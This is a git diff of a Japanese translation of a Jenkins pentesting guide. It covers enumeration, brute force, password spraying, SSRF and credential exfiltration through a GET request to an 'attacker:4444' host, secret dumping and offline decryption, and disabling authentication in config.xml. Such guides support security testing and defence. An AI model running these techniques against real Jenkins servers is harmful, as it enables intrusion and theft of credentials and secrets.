Translated ['', 'src/pentesting-ci-cd/jenkins-security/README.md', 'src/

This commit is contained in:
Translator
2026-01-17 16:58:50 +00:00
parent 791732d450
commit be93df0b9c
2 changed files with 156 additions and 128 deletions

View File

@@ -1,28 +1,28 @@
# Jenkins Security
# Jenkins セキュリティ
{{#include ../../banners/hacktricks-training.md}}
## 基本情報
Jenkinsは、パイプラインを使用してほぼ**すべての**プログラミング言語とソースコードリポジトリ**継続的インテグレーション**または**継続的デリバリー**CI/CD環境を確立するための簡単な方法を提供するツールです。さらに、さまざまなルーチン開発タスクを自動化します。Jenkins**個々のステップのためのスクリプトを作成する必要性を排除するわけではありませんが**、手動で簡単に構築できるよりも、ビルド、テスト、デプロイメントツールの全シーケンスを統合するためのより迅速で堅牢な方法を提供します。
Jenkins は、パイプラインを使ってほとんど**あらゆる**組み合わせの**プログラミング言語**とソースコードリポジトリに対して、**継続的インテグレーション**または**継続的デリバリー** (CI/CD) 環境を構築するためのシンプルな手段を提供するツールです。さらに、さまざまな日常的な開発タスクを自動化します。Jenkins**個々のステップ用にスクリプトを作成する必要**を完全に排除するわけではありませんが、ビルド、テスト、デプロイの一連のツールを手作業で構築するよりも、より迅速かつ堅牢に統合する方法を提供します。
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## 認証されていない列挙
## 認証での列挙
認証なしで興味深いJenkinsページを検索するには_/people_や_/asynchPeople_、これは現在のユーザーをリストします)、次のようにします
認証なしで興味深い Jenkins ページ(例: _/people__/asynchPeople_これは現在のユーザを一覧表示します)を検索するには、次を使用できます:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
認証なしでコマンドを実行できるか確認してください:
認証不要でコマンドを実行できるか確認する:
```
msf> use auxiliary/scanner/http/jenkins_command
```
資格情報がない場合、_**/asynchPeople/**_ パスや _**/securityRealm/user/admin/search/index?q=**_ **ユーザー名**確認できます。
認証情報がなくても、_**/asynchPeople/**_ パスや _**/securityRealm/user/admin/search/index?q=**_ を確認して **usernames**取得できます。
_**/oops**_ または _**/error**_ パスから Jenkins のバージョンを取得できるかもしれません
Jenkins のバージョンは _**/oops**_ _**/error**_ パスから取得できることがあります
![](<../../images/image (146).png>)
@@ -34,7 +34,7 @@ https://github.com/gquere/pwn_jenkins
## ログイン
基本情報では、**Jenkins にログインするすべての方法**を確認できます:
基本情報から、**Jenkins にログインするためのすべての方法** を確認できます:
{{#ref}}
basic-jenkins-information.md
@@ -42,124 +42,140 @@ basic-jenkins-information.md
### 登録
アカウントを作成してログインできる Jenkins インスタンスを見つけることができます。**それだけです。**
Jenkins のインスタンスの中には、**アカウントを作成してログインできるものがあります。とても単純です。**
### **SSO ログイン**
また、**SSO** **機能**/**プラグイン** が存在する場合は、テストアカウント(例:テスト **Github/Bitbucket アカウント**)を使用してアプリケーションに**ログイン**を試みるべきです。 [**こちら**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)のトリック。
また、**SSO** **functionality**/**plugins** が存在する場合は、テストアカウント(例:テスト **Github/Bitbucket account**)を使てアプリケーションに **log-in** を試みるべきです。Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### ブルートフォース
### Bruteforce
**Jenkins****パスワードポリシー** **ユーザー名のブルートフォース緩和** が不足しています。**弱いパスワード**や **ユーザー名をパスワードとして使用**している可能性があるため、ユーザーを**ブルートフォース**することが重要です。**逆のユーザー名をパスワードとして使用**している場合もあります。
**Jenkins** **password policy** **username brute-force mitigation** がありません。**brute-force** を行うことは重要です。なぜなら **weak passwords** **usernames as passwords**、さらには **reversed usernames as passwords** が使われている可能性があるからです。
```
msf> use auxiliary/scanner/http/jenkins_login
```
### パスワードスプレー
### Password spraying
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
次のスクリプトを使用してください: [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) または [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray)
### IPホワイトリストバイパス
### IP Whitelisting Bypass
多くの組織は、**SaaSベースのソース管理SCMシステム**GitHubGitLabなど)を**内部の自己ホスト型CI**ソリューション(JenkinsTeamCityなど)と組み合わせています。この設定により、CIシステムは**SaaSソース管理ベンダー**からの**ウェブフックイベント**を受信し、主にパイプラインジョブをトリガーすることができます。
多くの組織は、GitHubGitLab のような **SaaS-based source control management (SCM) systems** と、JenkinsTeamCity のような **internal, self-hosted CI** ソリューションを組み合わせています。この構成により、CI システムは主にパイプラインジョブをトリガーするために、**receive webhook events from SaaS source control vendors** ことができます。
これを実現するため、組織は**SCMプラットフォーム**の**IP範囲**を**ホワイトリスト**に登録し、**ウェブフック**を介して**内部CIシステム**アクセスできるようにしています。しかし、**誰でも**GitHubGitLabに**アカウント**を作成し、**ウェブフックをトリガー**するように設定できるため、**内部CIシステム**にリクエストを送信する可能性があります。
これを実現するため、組織は**SCM platforms**の**IP ranges**を**whitelist**し、**webhooks**経由で**internal CI system**アクセスを許可します。ただし、重要なのは**anyone**が GitHub または GitLab に**account**を作成し、**trigger a webhook**を設定でき、それによって**internal CI system**にリクエストが送られる可能性がある点です。
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
参照: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## 内部Jenkinsの悪用
## Internal Jenkins Abuses
れらのシナリオでは、Jenkinsにアクセスするための有効なアカウントを持っていると仮定します。
では、Jenkins にアクセスする有効なアカウントを持っているものと仮定します。
> [!WARNING]
> Jenkinsに設定された**認証**メカニズム侵害されたユーザーの権限によっては、以下の攻撃を**実行できる場合とできない場合があります。**
> Jenkins に設定されている **Authorization** メカニズムや、侵害されたユーザーの権限によっては、以下の攻撃を**実行できる場合とできない場合があります。**
詳細については、基本情報を確認してください:
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### ユーザーのリスト表示
### ユーザーの列挙
Jenkinsにアクセスした場合、[http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)で他の登録ユーザーをリスト表示できます。
Jenkins にアクセスできる場合、他の登録ユーザーを http://127.0.0.1:8080/asynchPeople/ で一覧できます。
### プレーンテキストの秘密を見つけるためのビルドダンプ
### ビルドダンプして平文のシークレットを探す
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
ビルドのコンソール出力やビルド環境変数をダンプして、平文のシークレットが見つかるか確認するために [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) を使用してください。
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **SSH資格情報の盗難**
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
もし侵害されたユーザーが**新しいJenkinsードを作成/変更するのに十分な権限を持っている**場合、他のードにアクセスするためのSSH資格情報がすでに保存されていると、彼は**ホストを設定して資格情報を記録する**ことによって**それらの資格情報を盗む**ことができます。ホストキーを検証せずに:
一部のプラグインは、Jelly の `validateButton``test connection` ハンドラを `/descriptorByName/<Class>/testConnection` のようなパスで公開しています。ハンドラが **POST や権限チェックを強制しない** 場合、以下が可能です:
- POST を GET に切り替え、Crumb を省略して CSRF チェックを回避します。
- `Jenkins.ADMINISTER` チェックがない場合、低権限/匿名でハンドラを実行できます。
- 管理者に対して CSRF を行い、host/URL パラメータを差し替えて credentials を exfiltrate したり、外向きの呼び出しを発生させます。
- レスポンスのエラー(例: `ConnectException`)を SSRF/port-scan オラクルとして利用できます。
Example GETno Crumbで、バリデーション呼び出しを SSRF/credential exfiltration に変換する例:
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
### **Stealing SSH Credentials**
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
![](<../../images/image (218).png>)
通常、JenkinsのSSH資格情報は**グローバルプロバイダー**`/credentials/`)に見つかるので、他の秘密をダンプするのと同様にダンプすることもできます。詳細は[**秘密のダンプセクション**](./#dumping-secrets)を参照してください。
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
### **JenkinsにおけるRCE**
### **RCE in Jenkins**
**Jenkinsサーバーでシェルを取得する**ことは、攻撃者にすべての**秘密**や**環境変数**を漏洩させ、同じネットワークにある他のマシンを**悪用**したり、さらには**クラウド資格情報を収集**する機会を与えます。
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
デフォルトでは、Jenkinsは**SYSTEMとして実行されます**。したがって、これを侵害することで攻撃者は**SYSTEM権限**を得ることになります。
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
### **プロジェクトの作成/変更によるRCE**
### **RCE Creating/Modifying a project**
プロジェクトを作成/変更することは、Jenkinsサーバー上でRCEを取得する方法です:
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **Groovyスクリプトの実行によるRCE**
### **RCE Execute Groovy script**
Groovyスクリプトを実行することでRCEを取得することも可能で、これは新しいプロジェクトを作成するよりもステルス性が高いかもしれません:
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### パイプラインの作成/変更によるRCE
### RCE Creating/Modifying Pipeline
**パイプラインを作成/変更することによってもRCEを取得できます**:
You can also get **RCE by creating/modifying a pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## パイプラインの悪用
## Pipeline Exploitation
パイプラインを悪用するには、Jenkinsへのアクセスが必要です。
To exploit pipelines you still need to have access to Jenkins.
### ビルドパイプライン
### Build Pipelines
**パイプライン**は**プロジェクトのビルドメカニズム**としても使用でき、その場合、パイプライン構文を含む**リポジトリ内のファイル**を設定できます。デフォルトでは`/Jenkinsfile`が使用されます:
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
![](<../../images/image (127).png>)
他の場所(例えば他のリポジトリ)にパイプライン構成ファイルを**保存することも可能**で、リポジトリの**アクセス**とパイプラインのアクセスを**分離する**ことを目的としています。
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
攻撃者が**そのファイルに対して書き込みアクセスを持っている場合**、彼はそれを**変更**し、Jenkinsにアクセスすることなく**パイプラインをトリガーする**ことができるでしょう。\
攻撃者は**いくつかのブランチ保護を回避する必要があるかもしれません**(プラットフォームやユーザー権限によっては回避できる場合もあります)。
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
カスタムパイプラインを実行するための最も一般的なトリガーは次のとおりです:
The most common triggers to execute a custom pipeline are:
- **メインブランチへのプルリクエスト**(または他のブランチへのプルリクエスト)
- **メインブランチへのプッシュ**(または他のブランチへのプッシュ)
- **メインブランチの更新**を行い、何らかの方法で実行されるのを待つ
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
> [!NOTE]
> あなたが**外部ユーザー**である場合、**他のユーザー/組織のリポジトリのメインブランチにPRを作成し**、**パイプラインをトリガーする**ことを期待すべきではありません...しかし、**不適切に設定されている**場合、あなたはこの方法で企業を完全に**侵害する**ことができるかもしれません。
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
### パイプラインRCE
### Pipeline RCE
前のRCEセクションでは、[**パイプラインを変更することでRCEを取得する技術**](./#rce-creating-modifying-pipeline)がすでに示されています。
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
### 環境変数の確認
### Checking Env variables
**平文の環境変数**をパイプライン全体または特定のステージのために宣言することが可能です。これらの環境変数は**機密情報を含むべきではありません**が、攻撃者は常に**すべてのパイプライン**構成/Jenkinsfileを**確認する**ことができます:
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
```bash
pipeline {
agent {label 'built-in'}
@@ -174,21 +190,21 @@ STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### 秘密のダンプ
### Dumping secrets
Jenkinsが秘密を通常どのように扱うかについての情報は、基本情報を確認してください
For information about how are secrets usually treated by Jenkins check out the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
資格情報は**グローバルプロバイダー**`/credentials/`)または**特定のプロジェクト**`/job/<project-name>/configure`)に**スコープ**できます。したがって、すべての秘密を抽出するには、**秘密を含むすべてのプロジェクトを少なくとも侵害する**必要があり、カスタム/毒入りパイプラインを実行する必要があります。
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
もう一つの問題は、パイプラインの**env内の秘密**を取得するには、**秘密の名前とタイプを知っている必要がある**ことです。たとえば、**`string`** **秘密**として**`usernamePassword`** **秘密**を**ロード**しようとすると、この**エラー**が発生します:
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
ここでは、一般的なシークレットタイプをロードする方法を示します
ここでは、一般的なシークレットタイプを読み込む方法を示します:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
@@ -216,46 +232,46 @@ env
'''
}
```
このページの最後**すべての資格情報タイプ**を**見つけることができます**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
このページの最後**すべての認証情報の種類を確認できます**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> **すべての秘密を一度にダンプする**最良の方法は、**Jenkins**マシンを**侵害する**ことです(例えば**組み込みノード**でリバースシェルを実行する)そして、**マスターキー**と**暗号化された秘密****漏洩**させ、それらをオフラインで復号します。\
> これを行う方法については、[ノードとエージェントのセクション](./#nodes-and-agents)および[ポストエクスプロイテーションのセクション](./#post-exploitation)を参照してください。
> 最も効率的に**一度にすべてのシークレットをダンプする**方法は、**Jenkins**マシンを**侵害する**ことです(例えば**built-in node**でreverse shellを実行するなど。その後**leaking**された**master keys****encrypted secrets**を取得してオフラインで復号します。\
> 詳細は[Nodes & Agents section](#nodes-and-agents)および[Post Exploitation section](#post-exploitation)を参照してください。
### トリガー
[ドキュメントから](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers`ディレクティブは、**パイプラインが再トリガーされる自動化された方法**を定義します。GitHubやBitBucketなどのソースと統合されたパイプラインの場合、`triggers`は必要ないかもしれません。なぜなら、ウェブフックベースの統合がすでに存在する可能性が高いからです。現在利用可能なトリガー`cron``pollSCM`および`upstream`です。
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers`ディレクティブは、Pipelineが再トリガーされるべき**自動的な方法**を定義します。GitHubやBitBucketなどのソースと統合されたPipelineでは、webhooksベースの統合がに存在する可能性が高いため、`triggers`は不要な場合があります。現在利用可能なtriggers`cron``pollSCM``upstream`です。
Cronの例:
Cron example:
```bash
triggers { cron('H */4 * * 1-5') }
```
他の例は**ドキュメントで確認してください**
ドキュメント内の**他の例**も確認してください。
### ノードエージェント
### ノード & エージェント
**Jenkinsインスタンス**は、**異なるマシンで異なるエージェントが実行されている**可能性があります。攻撃者の点から見ると、異なるマシンへのアクセスは、**異なる潜在的なクラウド資格情報**を盗むことや、**他のマシンを悪用するための異なるネットワークアクセス**を意味します。
一つの **Jenkins instance** には、異なるマシンで稼働している**異なるエージェント**が存在することがあります。攻撃者の点から、異なるマシンへのアクセスは、盗むことのできる**異なるクラウド資格情報**や、他のマシンを悪用して攻撃するために使える**異なるネットワークアクセス**を意味します。
詳細については、基本情報を確認してください:
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
`/computer/`で**構成されたノード**を列挙できます。通常、**`Built-In Node`**Jenkinsを実行しているノード)と、潜在的に他のノードが見つかります:
`/computer/`で**設定されたノード**を列挙できます。通常、\*\*`Built-In Node` \*\*Jenkinsが稼働しているノード)を見つけ、さらに他のノードも存在する可能性があります:
![](<../../images/image (249).png>)
**Built-Inノードを妥協することは特に興味深い**です。なぜなら、それには機密のJenkins情報が含まれているからです。
機密性の高いJenkins情報が含まれているため、**Built-In nodeを乗っ取ることは特に興味深いです。**
**ビルトインJenkinsード**で**パイプライン**を**実行**したいことを示すために、パイプライン内次の設定を指定できます:
**pipeline**を**built-in Jenkins node**で**run**したいことを示すに、パイプライン内次の設定を指定ます:
```bash
pipeline {
agent {label 'built-in'}
```
### 完全な例
特定のエージェント内のパイプライン、cronトリガーを使用し、パイプラインおよびステージ環境変数を持ち、ステップで2つの変数を読み込み、リバースシェルを送信します:
特定の agent 上の pipeline で、cron trigger を使い、pipeline と stage の env variables を設定し、step 内で 2 つの変数を読み込んで reverse shell を送る例:
```bash
pipeline {
agent {label 'built-in'}
@@ -286,7 +302,7 @@ cleanWs()
}
}
```
## 任意ファイル読み取りからRCE
## Arbitrary File Read から RCE への移行
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -306,7 +322,7 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## ポストエクスプロイト
## Post Exploitation
### Metasploit
```
@@ -314,32 +330,32 @@ msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
`/credentials/` にアクセスすることで、十分な権限があればシークレットをリストできます。これは `credentials.xml` ファイル内のシークレットのみをリストしますが、**ビルド構成ファイル**にも**追加の資格情報**が含まれている可能性があります。
十分な権限があれば、`/credentials/` にアクセスして secrets を一覧できます。これは `credentials.xml` ファイル内の secrets のみを一覧することに注意してください。**ビルド構成ファイル (build configuration files)** には **さらに多くの credentials** が含まれている場合もあります。
各プロジェクトの**構成を表示できる**場合、リポジトリアクセスするために使用されている**資格情報(シークレット)の名前**や**プロジェクトの他の資格情報**も確認できます。
もし各プロジェクトの **設定を閲覧できる場合**、そこにリポジトリアクセスするために使れている **credentials (secrets) の名前** やプロジェクトの **その他の credentials** も確認できます。
![](<../../images/image (180).png>)
#### From Groovy
#### Groovy から
{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### From disk
#### ディスクから
これらのファイルは**Jenkinsシークレットを復号するために必要**です
これらのファイルは **Jenkins secrets を復号する**に必要です:
- secrets/master.key
- secrets/hudson.util.Secret
そのような**シークレットは通常**以下に見つかります:
そのような **secrets は通常次の場所にあります**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
これらを見つけるための正規表現は次のとおりです
これらを見つけるための正規表現は次のりです:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -349,9 +365,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Jenkinsの秘密をオフラインで復号する
#### Jenkins secrets をオフラインで復号する
**秘密を復号するために必要なパスワードをダンプした場合**、**これらの秘密を復号化するために** [**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **を使用してください**
もし**シークレットを復号するために必要なパスワード**をダンプしている場合は、[**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **を使ってそれらのシークレットを復号できます**
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -359,20 +375,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### GroovyからJenkinsの秘密を復号化する
#### GroovyからJenkinsのsecretsをDecrypt
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### 新しい管理者ユーザー作成
### 新しい管理者ユーザー作成
1. `/var/lib/jenkins/config.xml` または `C:\Program Files (x86)\Jenkis\` にある Jenkins config.xml ファイルにアクセスします。
2. `<useSecurity>true</useSecurity>`という単語を検索し、**`true`**を**`false`**に変更します。
1. Jenkins の config.xml ファイルにアクセスします(`/var/lib/jenkins/config.xml` または `C:\Program Files (x86)\Jenkis\`
2. `<useSecurity>true</useSecurity>` を検索し、単語 \*\*`true` \*\* を **`false`** に変更します。
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Jenkins** サーバーを**再起動**します: `service jenkins restart`
4. もう一度 Jenkins ポータルに移動すると、**Jenkins はこの時に認証情報を要求しません**。**管理 Jenkins** に移動して、**管理者パスワードを再設定**します。
5. 設定を `<useSecurity>true</useSecurity>`変更して、**再度セキュリティを有効にし**、**Jenkins を再起動**します。
4. 度 Jenkins ポータルにアクセスすると、**Jenkins は今回認証情報を要求しません**。 "**Manage Jenkins**" に移動して、**管理者パスワードを再設定**します。
5. `<useSecurity>true</useSecurity>`設定を戻して **セキュリティを有効**、**Jenkins を再起動**します。
## 参考文献
## References
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)

View File

@@ -1,4 +1,4 @@
# 基本的なJenkins情報
# Jenkinsの基本情報
{{#include ../../banners/hacktricks-training.md}}
@@ -6,81 +6,92 @@
### ユーザー名 + パスワード
Jenkinsにログインする最も一般的な方法は、ユーザー名またはパスワードです。
Jenkinsにログインする最も一般的な方法は、ユーザー名パスワードによる認証です。
### クッキー
### Cookie
**認可されたクッキーが盗まれた場合**、それを使用してユーザーのセッションにアクセスできます。クッキーは通常`JSESSIONID.*`と呼ばれます。(ユーザーはすべてのセッションを終了できますが、まずクッキーが盗まれたことを確認する必要があります)。
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
### SSO/プラグイン
### SSO/Plugins
Jenkinsはプラグインを使用して**サードパーティのSSO経由でアクセス可能**に構成できます。
Jenkinsはプラグインを使て**サードパーティのSSOでアクセス可能**設定できます。
### トークン
**ユーザーはトークンを生成して**、CLIまたはREST APIを介してアプリケーションに自分を偽装させることができます。
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
### SSHキー
### SSH Keys
このコンポーネントはJenkins用の組み込みSSHサーバを提供します。これは[Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)の代替インターフェースであり、任意のSSHクライアントを使用してこの方法でコマンドを呼び出すことができます。([ドキュメント](https://plugins.jenkins.io/sshd/)から
このコンポーネントはJenkins用の組み込みSSHサーバを提供します。これは[Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)の代替インターフェースであり、任意のSSHクライアントを使てこの方法でコマンドを実行できます。([docs](https://plugins.jenkins.io/sshd/) より
## 認可
`/configureSecurity`では、Jenkinsの**認可方法を構成**できます。いくつかのオプションがあります:
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
- **誰でも何でもできる**匿名アクセスでもサーバを管理できます
- **レガシーモード**Jenkins <1.164と同じです。**admin」役割**を持っている場合システムに対して**完全な制御**が与えられ、**それ以外****匿名**ユーザーを含む)は**読み取り**アクセスのみが与えられます。
- **ログインしたユーザーは何でもできる**:このモードでは、すべての**ログインしたユーザーがJenkinsの完全な制御を得ます**。完全な制御を持たない唯一のユーザーは**匿名ユーザー**で、**読み取りアクセス**のみが与えられます。
- **マトリックスベースのセキュリティ****誰が何をできるか**を表で構成できます。各**列**は**権限**を表し、各**行**は**ユーザまたはグループ/役割**を表します。こには、**認証されていないユーザー**を表す特別なユーザー「**anonymous**」や、**すべての認証されたユーザー**を表す**authenticated**」が含まれます。
- **Anyone can do anything**: 匿名アクセスでもサーバを管理できます
- **Legacy mode**: Jenkins <1.164 と同じ動作です。**"admin" role** を持場合システムに対する**完全な管理権限**が与えられ、**それ以外のユーザ****anonymous** を含む)は**読み取り**権限のみになります。
- **Logged-in users can do anything**: このモードでは、ログインしているすべてのユーザーに対してJenkinsの**完全な管理権限**が与えられます。唯一完全な管理権限を持たないのは**anonymous user**で、読み取り権限のみ持ちます。
- **Matrix-based security**: テーブル形式で**誰が何をできるか**を設定できます。各**列**は**permission**を表し、各**行**は**ユーザまたはグループ/ロール**を表します。こには認証されていないユーザを表す特ユーザ '**anonymous**' や、認証済みのすべてのユーザを表す '**authenticated**' も含まれます。
![](<../../images/image (149).png>)
- **プロジェクトベースのマトリックス認可戦略**:このモードは、**各プロジェクトごとに追加のACLマトリクスを定義できる**「**マトリックスベースのセキュリティ**」の拡張です。
- **役割ベースの戦略****役割ベースの戦略**を使用して認可を定義できます。役割は`/role-strategy`で管理します。
- **Project-based Matrix Authorization Strategy:** これは "**Matrix-based security**" の**拡張**で、各プロジェクトごとに追加のACLマトリクスを**個別に定義**できるようにします。
- **Role-Based Strategy:** **ロールベースの戦略**を使て認可を定義できるようにします。ロールは `/role-strategy` で管理します。
## **セキュリティレルム**
## **Security Realm**
`/configureSecurity`では、**セキュリティレルムを構成**できます。デフォルトでは、Jenkinsはいくつかの異なるセキュリティレルムをサポートしています
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
- **サーブレットコンテナに委任**Jenkinsコントローラを実行しているサーブレットコンテナに**認証を委任**します。たとえば、[Jetty](https://www.eclipse.org/jetty/)などです。
- **Jenkins独自のユーザーデータベース**外部システムに委するのではなく、**Jenkinsの組み込みユーザデータストア**を使用して認証します。これはデフォルトで有効です。
- **LDAP**ユーザーとグループの両方を含、構成されたLDAPサーバにすべての認証を委します。
- **Unixユーザー/グループデータベース**Jenkinsコントローラ上の基盤となるUnix OSレベルのユーザデータベースに**認証を委任**します。このモードでは、認可のためにUnixグループを再利用することも可能です。
- **Delegate to servlet container**: Jenkinsコントローラを実行しているサーブレットコンテナ(例:[Jetty](https://www.eclipse.org/jetty/))に認証を委譲します。
- **Jenkins own user database:** 外部システムに委する代わりに、Jenkinsの**組み込みユーザデータストア**で認証を行います。これはデフォルトで有効です。
- **LDAP**: ユーザグループを含、構成されたLDAPサーバにすべての認証を委します。
- **Unix user/group database**: Jenkinsコントローラ上の基盤となるUnix OSレベルのユーザデータベースに認証を委します。このモードではUnixグループを認可に再利用することも可能です。
プラグインは、Jenkinsを既存のアイデンティティシステムに組み込むのに役立つ追加のセキュリティレルムを提供できます。たとえば
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Jenkinsノード、エージェント&エグゼキュータ
## Jenkins Nodes, Agents & Executors
[ドキュメント](https://www.jenkins.io/doc/book/managing/nodes/)からの定義:
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
**ノード**は、ビルド**エージェントが実行される**マシンです。Jenkinsは、ディスクスペース、空き一時スペース、空きスワップ、時計の時間/同期、応答時間のために各接続ノードを監視します。これらの値のいずれかが設定された閾値を超えると、ノードはオフラインになります。
**Nodes** はビルド **agents が動作するマシン** です。Jenkinsは各接続ードのディスク空き容量、一時領域の空きスワップの空き、クロック時間/同期、応答時間を監視します。これらの値が設定閾値を超えた場合、ノードはオフラインになります。
